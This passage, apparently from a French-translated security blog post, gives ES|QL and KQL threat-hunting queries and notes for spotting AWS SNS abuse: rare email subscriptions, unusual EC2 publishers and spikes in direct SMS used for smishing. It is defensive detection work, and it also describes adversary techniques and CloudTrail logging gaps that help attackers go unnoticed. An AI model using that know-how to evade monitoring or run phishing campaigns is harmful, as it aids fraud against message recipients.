    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

Notes de chasse :

• Si une clé d'accès à l'identité de l'utilisateur (aws.cloudtrail.user_identity.access_key_id) existe dans le journal d'audit de CloudTrail, cette demande a été effectuée via le CLI ou par programme. Ces clés pourraient être compromises et justifier une enquête plus approfondie.
• Le fait d'ignorer l'ARN du sujet lors de l'agrégation est important pour identifier les anomalies de la première occurrence de l'abonnement à un sujet SNS avec un courrier électronique. En ne regroupant pas les abonnements par sujet ARN, nous nous assurons que la requête se concentre uniquement sur la détection des abonnements inattendus ou peu fréquents, sans tenir compte des sujets spécifiques déjà établis.
• Une autre requête peut être nécessaire avec l'identité de l'utilisateur ARN comme filtre d'inclusion pour identifier la rubrique à laquelle il s'est abonné.
• Si un nom de user-agent anormal est observé, une enquête secondaire sur la chaîne de user-agent peut être nécessaire pour déterminer si elle est associée à des scripts automatisés, à des navigateurs peu communs ou à des plates-formes inadaptées. Bien qu'il soit simple de les falsifier, les adversaires sont connus pour ne pas le faire pour des raisons non divulguées.

Message du sujet SNS publié par un utilisateur rare

Règle de détection Source
Source de la requête de chasse

Identifie lorsqu'un message est publié sur un sujet SNS à partir d'un ARN d'identité d'utilisateur inhabituel dans AWS. Si le rôle ou la politique d'autorisation ne met pas en pratique la PoLP, la publication sur des sujets SNS peut être autorisée et donc faire l'objet d'abus. Par exemple, les rôles par défaut fournis par AWS Marketplace qui permettent de publier des sujets SNS. Il peut également identifier des entités malhonnêtes qui poussaient autrefois des sujets SNS, mais qui ne sont plus exploitées si les informations d'identification sont compromises. Notez que ceci se concentre uniquement sur les instances EC2, mais vous pourriez ajuster pour tenir compte des différentes anomalies de publication basées sur la source, la région, l'agent utilisateur et plus encore.

Notre requête utilise KQL et le type de règle New Terms pour se concentrer sur les abonnements qui spécifient une adresse électronique. Malheureusement, CloudTrail ne mentionne pas l'adresse électronique à laquelle l'utilisateur s'est inscrit, alors qu'il s'agirait d'un élément essentiel pour l'enquête.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Nouvelle valeur des termes: aws.cloudtrail.user_identity.arn

Requête de chasse (ES|QL)

Notre requête de chasse s'appuie sur ES|QL et se concentre également sur les journaux SNS où l'action API est Publier. Cela ne se déclenche que si le type d'identité de l'utilisateur est un rôle assumé et que l'ARN de l'identité de l'utilisateur est un ID d'instance EC2. L'agrégation de l'ID du compte, de l' entité, du rôle supposé, du sujet SNS et de la région nous aide à identifier d'autres anomalies basées sur l'attente de cette activité. Nous pouvons exploiter l'agent utilisateur pour identifier les appels effectués par des outils ou des logiciels inhabituels.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notes de chasse :

• Si une clé d'accès à l'identité de l'utilisateur (aws.cloudtrail.user_identity.access_key_id) existe dans le journal d'audit de CloudTrail, cette demande a été effectuée via le CLI ou par programme. Ces clés pourraient être compromises et justifier une enquête plus approfondie.
• Si vous remarquez Terraform, Pulumi, etc., cela peut être lié à des environnements de test, de maintenance ou autres.
• Les SDK Python qui ne sont pas ceux d'AWS peuvent indiquer que des outils ou des scripts personnalisés sont utilisés.

Spike de la messagerie directe du SNS

Source de la requête de chasse
MITRE ATT&CK : T1660

Nos efforts de chasse à la compromission hypothétique du SNS - où un adversaire mène des campagnes de phishing (smishing) - se concentrent sur les actions de l'API Publier dans le SNS AWS. Plus précisément, nous relevons les cas où phoneNumber est présent dans les paramètres de la demande, ce qui indique que les messages sont envoyés directement à des numéros de téléphone plutôt que par l'intermédiaire d'un sujet SNS.

Notamment, au lieu de s'appuyer sur des sujets SNS avec des numéros pré-souscrits, l'adversaire exploite les autorisations de messagerie Endpoint de production d'une organisation, en tirant parti :

• Un identifiant d'origine approuvé (si l'organisation en a enregistré un).
• Un identifiant d'expéditeur (si l'adversaire en contrôle un ou peut usurper un identifiant de confiance).
• les codes longs ou les codes courts des SAP (qui peuvent être attribués de manière dynamique).

Comme AWS SNS aseptise les journaux, les numéros de téléphone ne sont pas visibles dans CloudTrail, mais une analyse plus approfondie dans CloudWatch ou dans des outils de surveillance tiers peut vous aider.

Requête de chasse (ES|QL)

Cette requête détecte un pic dans les messages SNS directs, ce qui peut indiquer des campagnes d'hameçonnage à partir de comptes AWS compromis.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

Notes de chasse :

• AWS supprime les numéros de téléphone dans les journaux, de sorte qu'une analyse plus approfondie via les journaux CloudWatch peut s'avérer nécessaire.
• Lors de l'enquête dans CloudWatch, le contexte du message est également assaini. L'idéal serait d'examiner le message pour vérifier s'il contient des liens URL suspects.
• Vous pouvez également consulter les journaux de livraison AWS SNS (s'ils sont activés) pour les métadonnées des messages.
• Si les messages n'utilisent pas d'abonnement thématique, cela suggère un ciblage direct.
• La source de ces demandes est importante, si vous remarquez qu'elles proviennent d'une instance EC2, c'est plutôt étrange ou Lambda peut être un code sans serveur attendu.

A retenir

Nous vous remercions d'avoir pris le temps de lire cette publication sur l'abus d'AWS SNS : Exfiltration de données et hameçonnage. Nous espérons que cette recherche fournira des informations précieuses sur la manière dont les adversaires peuvent exploiter les SRS AWS pour exfiltrer des données, mener des campagnes de smishing et de phishing, ainsi que des stratégies pratiques de détection et de chasse pour contrer ces menaces.

Principaux points abordés dans cet article :

• AWS SNS est un service puissant, mais il peut être utilisé à des fins malveillantes, notamment le phishing (smishing) et l'exfiltration de données.
• Les adversaires peuvent abuser des autorisations de production des SRS en utilisant des ID d'expéditeur, des ID d'origine ou des codes longs/courts pré-approuvés pour envoyer des messages à l'extérieur d'une organisation.
• Les acteurs de la menace peuvent utiliser les mauvaises configurations des politiques IAM, les lacunes de la journalisation CloudTrail et les limitations de l'API SNS pour passer inaperçus.
• Bien que l'utilisation abusive des SRS à l'état sauvage ne soit pas fréquemment signalée, nous sommes convaincus que l'armement et l'exploitation ciblée des SRS sont déjà en cours ou qu'ils finiront par apparaître.
• AWS CloudTrail ne saisit pas les numéros de téléphone ou les messages dans les journaux SNS, ce qui rend la surveillance par un tiers CloudWatch essentielle pour une analyse plus approfondie.
• Les requêtes de chasse aux menaces peuvent aider à détecter la création de sujets SNS, l'abonnement à des sujets SNS ou la réception d'un pic de messages directs, ce qui signale un abus potentiel.
• Les stratégies de détection comprennent la surveillance des actions de l'API SNS, l'identification des pics de messages SNS inhabituels et le signalement des anomalies provenant des sources EC2 ou Lambda.
• Les mesures défensives doivent inclure le renforcement de la politique IAM, la journalisation SNS de CloudTrail &, les détections basées sur les anomalies et les meilleures pratiques de sécurité recommandées par AWS pour réduire la surface d'attaque.

AWS SNS est souvent négligé dans les discussions sur la sécurité, mais comme le montre cette étude, il constitue un vecteur d'attaque viable pour les adversaires s'il n'est pas surveillé. Nous encourageons les défenseurs à rester proactifs, à affiner la logique de détection et à mettre en œuvre des contrôles de sécurité solides pour atténuer ces risques et renforcer la posture de sécurité.

Merci de votre lecture et bonne chasse !

Références

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US